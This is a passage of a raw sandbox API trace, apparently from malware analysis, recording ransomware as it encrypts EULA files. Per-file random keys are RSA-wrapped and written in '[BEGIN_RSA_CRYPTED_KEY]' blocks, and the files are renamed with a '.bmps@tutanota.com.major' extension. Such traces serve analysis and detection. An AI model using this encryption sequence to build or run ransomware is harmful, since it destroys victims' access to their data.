dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.789] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ylGfxm7lJf/GtrEH5gzJCKK7o99V181hBt9WhPDZoHcSS3CFzU+4Nec0Pnzn+mii\n3S29BBkNFO6Orf2Xj4/pqntc0Ph3m7eNVnIDBD+4UiQ2GAw6zglf8+0LyuzFGloy\nfbyvwX7bEgCZllFGlMxHc55i5PQgIJ4mvaYdEMQKieE9UMiDjxJyfz4zV7F1KVZ3\njU61tia/3GO9mpi/zPApdZttfCJK1dijO9wYYWefA9L9T/+rkHY2huXwyAWYvpeh\nv3b7tjZcYh5iWkJmJbkIDW4eebg4gSiF5ECpBf8RAWPMCFqpFZWm9kRb3hIg4iY/\nTds8oOcQceUkGoT7vCj+FA==\n", pcchString=0x2e3f9a8) returned 1 [0157.789] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.789] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.789] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.790] CloseHandle (hObject=0x6e8) returned 1 [0157.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.790] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0157.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0157.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653bb0 | out: hHeap=0x570000) returned 1 [0157.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653d90 | out: hHeap=0x570000) returned 1 [0157.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654150 [0157.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0157.791] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.791] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm", dwFileAttributes=0x80) returned 1 [0157.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654510 [0157.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0157.792] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654510 | out: hHeap=0x570000) returned 1 [0157.792] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.792] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=70746) returned 1 [0157.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1145a) returned 0x6548b8 [0157.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1145a) returned 0x2e60f28 [0157.792] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1145a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1145a, lpOverlapped=0x0) returned 1 [0157.797] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-70746, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.798] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x1145a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1145a, lpOverlapped=0x0) returned 1 [0157.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.798] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1145a [0157.798] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.798] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.799] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.799] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.799] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.799] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.799] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+ohADvgtoap7EC9tN7nAlXc4E3TTljH+2KduVE7p/bLQulKPRXtilLIo+SW7qPZb\nX5iAtDlPNkI0QQXzuj6bHzsCG/BhJYqKQNJt3nrdZ1d8ZapNF+8I4yW77Y3thAWd\nlq6SXUmxbnnHMWnR82B10X5GC+06kwpeUM3afWqAMLzBtKLNkNQxV0liLTRtBUEv\ncuJzNF4XMEr3qA/IpjCVQaF5cUyF4xDR2ea+o5556H16mqXtLsbaaJK16fZfULLB\nTmRujMdG1OStQULX04WPBmASwhWpnHGCDQERITSCK+zm9OO4J/sJMV+GCJF+83mb\nSi/aXZ3FoqnVGUtKHd83Zg==\n", pcchString=0x2e3f9a8) returned 1 [0157.799] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.799] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.799] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.799] CloseHandle (hObject=0x6e8) returned 1 [0157.799] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.799] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0157.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0157.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654150 | out: hHeap=0x570000) returned 1 [0157.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653e80 | out: hHeap=0x570000) returned 1 [0157.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654420 [0157.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0157.801] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.801] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm", dwFileAttributes=0x80) returned 1 [0157.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6543a8 [0157.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0157.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6543a8 | out: hHeap=0x570000) returned 1 [0157.803] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.803] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63101) returned 1 [0157.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf67d) returned 0x6548b8 [0157.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf67d) returned 0x2e60f28 [0157.803] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0xf67d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xf67d, lpOverlapped=0x0) returned 1 [0157.834] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-63101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.834] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0xf67d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf67d, lpOverlapped=0x0) returned 1 [0157.835] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.835] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.835] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf67d [0157.835] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.835] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.835] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.835] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5gttSStwZ8+oaMBCmlh8qMynoE82wvLSsSNuA/stCspyCueGOYp/1qTBosfdCc6P\n8Oxk82nQLFcQzY/YfIXydB5eqdWsqWwsLaagoKbfxhDBs2uWszaamxUUGTrDg+us\nQ0uIpaDhzZENJdwJuU6QkJ2uGpOFen2/AHzPfgOhBL24sSojtD4qaHjostx4Clv2\n2soebsLopPsweYoZ6qxMn5Upb+ex0Se0hE4LBrsbDlQnN/uSj3TF3Nsbn2tCXK2a\n/vfOwltr6uSO/3uYyZGvg3lv9ejlYWJqTFhXbEXJrJ8lNzRb3r0zYQDsw/Z27Fk6\nb1VDrFBA3OHQEA0upSFgJg==\n", pcchString=0x2e3f9a8) returned 1 [0157.835] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.835] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.835] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.836] CloseHandle (hObject=0x6e8) returned 1 [0157.836] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.836] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0157.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0157.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654420 | out: hHeap=0x570000) returned 1 [0157.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653ef8 | out: hHeap=0x570000) returned 1 [0157.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654588 [0157.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0157.870] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.871] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm", dwFileAttributes=0x80) returned 1 [0157.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653e80 [0157.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0157.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653e80 | out: hHeap=0x570000) returned 1 [0157.879] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.879] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69816) returned 1 [0157.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110b8) returned 0x6548b8 [0157.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110b8) returned 0x2e60f28 [0157.879] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x110b8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x110b8, lpOverlapped=0x0) returned 1 [0157.908] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-69816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.908] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x110b8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x110b8, lpOverlapped=0x0) returned 1 [0157.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.908] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x110b8 [0157.908] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.908] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.909] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.909] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="mzyCiD3lLPdPub/gFAcMjMFozgcc0LrOvzj9BZ17aThSdfNUBjAlJ9vD7LOkwKkv\nfxlxIzJDB9mT7mXMsRBZsNHP7wL86mLQKQnxgphgvX8VH0kUxlRMzApWbBxGMSAV\nRC5k+C1xXDbg+19s/2koiCQiovZx4pgPDQLENUM3AWBd8NfKfR3NVq5Rg42uP1NI\niACbPhJScWBQlqUwDIJnI0dO/nEEqR01H2JZ97cTMDMrIgAYAXEdebvFvCX4mhw1\no4o9qcpgm5MTdW3LQRZRgYNeOATYHqf7MSiepA6PEwLNh3r5wXFoT+YhSOL40qSy\nTLvaJOLiwgWvnelvK80WLA==\n", pcchString=0x2e3f9a8) returned 1 [0157.909] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.909] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.909] CloseHandle (hObject=0x6e8) returned 1 [0157.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.909] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0157.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0157.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654588 | out: hHeap=0x570000) returned 1 [0157.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653958 | out: hHeap=0x570000) returned 1 [0157.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6543a8 [0157.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0157.911] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.911] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm", dwFileAttributes=0x80) returned 1 [0158.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653d90 [0158.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0158.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653d90 | out: hHeap=0x570000) returned 1 [0158.043] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.043] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69816) returned 1 [0158.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110b8) returned 0x6548b8 [0158.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110b8) returned 0x2e60f28 [0158.043] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x110b8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x110b8, lpOverlapped=0x0) returned 1 [0158.166] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-69816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.166] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x110b8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x110b8, lpOverlapped=0x0) returned 1 [0158.167] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0158.167] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.167] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x110b8 [0158.167] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.167] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.167] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.168] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.168] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.168] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.168] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5xnVr0ogv6BMFku3j/+zA90bA941V145CoeOvWeDDyFN5aiiob0U6rHkbdutBg0G\n+9f9YGycCiBuJ8L7+zPFrjNyWQCktbZcR/hbUEHxWW+Rrq0NCBWpoamNSmM/iwxB\nHHYXXOutHDewlSLOt9XC4m00j2aBAh0VFamgQjQiDO/LmuftPo8uZFnfrb5DpIXc\n8Vso7wMSYbqlH9VeW2gDv4EN06vS2KHPVKQ6LqXiLfbrNgCI8/qjahS1iVTzO0ay\nyTtl/roUpLZrsAqt7TSHQR5mDMDiKUzHowCuGFSM8Ucxlp040uXKqwViahfvQkaE\nikcnxtUdEc2cB66n7zzCcQ==\n", pcchString=0x2e3f9a8) returned 1 [0158.168] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.168] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.168] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 